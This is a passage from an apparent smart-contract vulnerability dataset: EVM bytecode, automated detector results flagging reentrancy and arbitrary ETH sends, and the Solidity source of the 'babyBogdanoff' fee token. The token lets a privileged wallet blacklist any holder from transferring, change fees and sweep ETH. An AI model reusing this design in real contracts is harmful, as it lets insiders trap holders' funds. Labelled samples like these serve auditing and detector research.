90508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f415e18e4c6f688dc6e9a3dce90064a63a315c5d0b63293a6aad5434ae7fa2ef64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,301 |
0x2a1EAcFc0da5Dcca0A72b17efa1bC2Ab8FA28605
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract babyBogdanoff is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 1;
uint256 private _tax = 5;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "babyBogdanoff | t.me/babyBogdanoff";
string private constant _symbol = "babyBogdanoff";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function taxFork (uint256 redistribution, uint256 tax) external{
require(_msgSender() == _feeAddrWallet1);
require(redistribution < 5);
require(tax <= 5);
_redis = redistribution;
_tax = tax;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function flushOutTheShit(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function shitHim(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610303578063c3c8cd8014610323578063c9567bf914610338578063dd62ed3e1461034d578063f45d40fa1461039357600080fd5b806370a0823114610250578063715018a6146102705780638da5cb5b1461028557806395d89b41146102ad578063a0a2cdbb146102e357600080fd5b806323b872dd116100e757806323b872dd146101ca5780632ab30838146101ea578063313ce567146101ff5780635932ead11461021b5780636fc3eaec1461023b57600080fd5b806306fdde0314610124578063095ea7b31461014f5780631480b5aa1461017f57806318160ddd146101a157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103b3565b604051610146919061163b565b60405180910390f35b34801561015b57600080fd5b5061016f61016a36600461158a565b6103d3565b6040519015158152602001610146565b34801561018b57600080fd5b5061019f61019a3660046115ed565b6103ea565b005b3480156101ad57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610146565b3480156101d657600080fd5b5061016f6101e536600461154a565b610430565b3480156101f657600080fd5b5061019f610499565b34801561020b57600080fd5b5060405160098152602001610146565b34801561022757600080fd5b5061019f6102363660046115b5565b6104de565b34801561024757600080fd5b5061019f610526565b34801561025c57600080fd5b506101bc61026b3660046114da565b610553565b34801561027c57600080fd5b5061019f610575565b34801561029157600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102b957600080fd5b5060408051808201909152600d81526c3130b13ca137b3b230b737b33360991b6020820152610139565b3480156102ef57600080fd5b5061019f6102fe3660046114da565b6105e9565b34801561030f57600080fd5b5061016f61031e36600461158a565b61062a565b34801561032f57600080fd5b5061019f610637565b34801561034457600080fd5b5061019f61066d565b34801561035957600080fd5b506101bc610368366004611512565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039f57600080fd5b5061019f6103ae3660046114da565b610a54565b606060405180606001604052806022815260200161180360229139905090565b60006103e0338484610a98565b5060015b92915050565b600e546001600160a01b0316336001600160a01b03161461040a57600080fd5b6005821061041757600080fd5b600581111561042557600080fd5b600a91909155600b55565b600061043d848484610bbc565b61048f843361048a856040518060600160405280602881526020016117db602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610dd0565b610a98565b5060019392505050565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c39061168e565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b6000546001600160a01b031633146105085760405162461bcd60e51b81526004016104c39061168e565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461054657600080fd5b4761055081610e0a565b50565b6001600160a01b0381166000908152600260205260408120546103e490610e44565b6000546001600160a01b0316331461059f5760405162461bcd60e51b81526004016104c39061168e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e546001600160a01b0316336001600160a01b03161461060957600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006103e0338484610bbc565b600e546001600160a01b0316336001600160a01b03161461065757600080fd5b600061066230610553565b905061055081610ec8565b6000546001600160a01b031633146106975760405162461bcd60e51b81526004016104c39061168e565b601054600160a01b900460ff16156106f15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c3565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073130826b033b2e3c9fd0803ce8000000610a98565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076a57600080fd5b505afa15801561077e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a291906114f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ea57600080fd5b505afa1580156107fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082291906114f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086a57600080fd5b505af115801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a291906114f6565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306108d281610553565b6000806108e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094a57600080fd5b505af115801561095e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610983919061160e565b50506010805461ffff60b01b191661010160b01b179055506109b260646b033b2e3c9fd0803ce800000061174b565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5091906115d1565b5050565b600e546001600160a01b0316336001600160a01b031614610a7457600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610afa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610b5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610c1e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526006602052604090205460ff1615610c4457600080fd5b6001600160a01b0383163014610d9f57600a54600c55600b54600d556010546001600160a01b038481169116148015610c8b5750600f546001600160a01b03838116911614155b8015610cb057506001600160a01b03821660009081526005602052604090205460ff16155b8015610cc55750601054600160b81b900460ff165b15610d2257601154811115610cd957600080fd5b6001600160a01b0382166000908152600760205260409020544211610cfd57600080fd5b610d0842600a611733565b6001600160a01b0383166000908152600760205260409020555b6000610d2d30610553565b601054909150600160a81b900460ff16158015610d5857506010546001600160a01b03858116911614155b8015610d6d5750601054600160b01b900460ff165b15610d9d578015610d8157610d8181610ec8565b4767016345785d8a0000811115610d9b57610d9b47610e0a565b505b505b6000546001600160a01b0384811691161415610dc0576000600d819055600c555b610dcb83838361106d565b505050565b60008184841115610df45760405162461bcd60e51b81526004016104c3919061163b565b506000610e01848661178a565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a50573d6000803e3d6000fd5b6000600854821115610eab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b6000610eb5611078565b9050610ec1838261109b565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f7257600080fd5b505afa158015610f86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610faa91906114f6565b81600181518110610fcb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610ff19130911684610a98565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061102a9085906000908690309042906004016116c3565b600060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610dcb8383836110dd565b60008060006110856111d4565b9092509050611094828261109b565b9250505090565b6000610ec183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061121c565b6000806000806000806110ef8761124a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112190876112a7565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115090866112e9565b6001600160a01b03891660009081526002602052604090205561117281611348565b61117c8483611392565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111c191815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006111f3828261109b565b821015611213575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361123d5760405162461bcd60e51b81526004016104c3919061163b565b506000610e01848661174b565b60008060008060008060008060006112678a600c54600d546113b6565b9250925092506000611277611078565b9050600080600061128a8e87878761140b565b919e509c509a509598509396509194505050505091939550919395565b6000610ec183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dd0565b6000806112f68385611733565b905083811015610ec15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b6000611352611078565b90506000611360838361145b565b3060009081526002602052604090205490915061137d90826112e9565b30600090815260026020526040902055505050565b60085461139f90836112a7565b6008556009546113af90826112e9565b6009555050565b60008080806113d060646113ca898961145b565b9061109b565b905060006113e360646113ca8a8961145b565b905060006113fb826113f58b866112a7565b906112a7565b9992985090965090945050505050565b600080808061141a888661145b565b90506000611428888761145b565b90506000611436888861145b565b90506000611448826113f586866112a7565b939b939a50919850919650505050505050565b60008261146a575060006103e4565b6000611476838561176b565b905082611483858361174b565b14610ec15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b6000602082840312156114eb578081fd5b8135610ec1816117b7565b600060208284031215611507578081fd5b8151610ec1816117b7565b60008060408385031215611524578081fd5b823561152f816117b7565b9150602083013561153f816117b7565b809150509250929050565b60008060006060848603121561155e578081fd5b8335611569816117b7565b92506020840135611579816117b7565b929592945050506040919091013590565b6000806040838503121561159c578182fd5b82356115a7816117b7565b946020939093013593505050565b6000602082840312156115c6578081fd5b8135610ec1816117cc565b6000602082840312156115e2578081fd5b8151610ec1816117cc565b600080604083850312156115ff578182fd5b50508035926020909101359150565b600080600060608486031215611622578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156116675785810183015185820160400152820161164b565b818111156116785783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117125784516001600160a01b0316835293830193918301916001016116ed565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611746576117466117a1565b500190565b60008261176657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611785576117856117a1565b500290565b60008282101561179c5761179c6117a1565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461055057600080fd5b801515811461055057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636562616279426f6764616e6f6666207c20742e6d652f62616279426f6764616e6f6666a264697066735822122023b8c82b12229af5f1b048fc6a5ff7f008af0b6639b66d3601181de118f9058564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,302 |
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
|
/**
*Submitted for verification at Etherscan.io on 2020-08-10
*/
// SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Copyright (c) 2020 Rebased
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
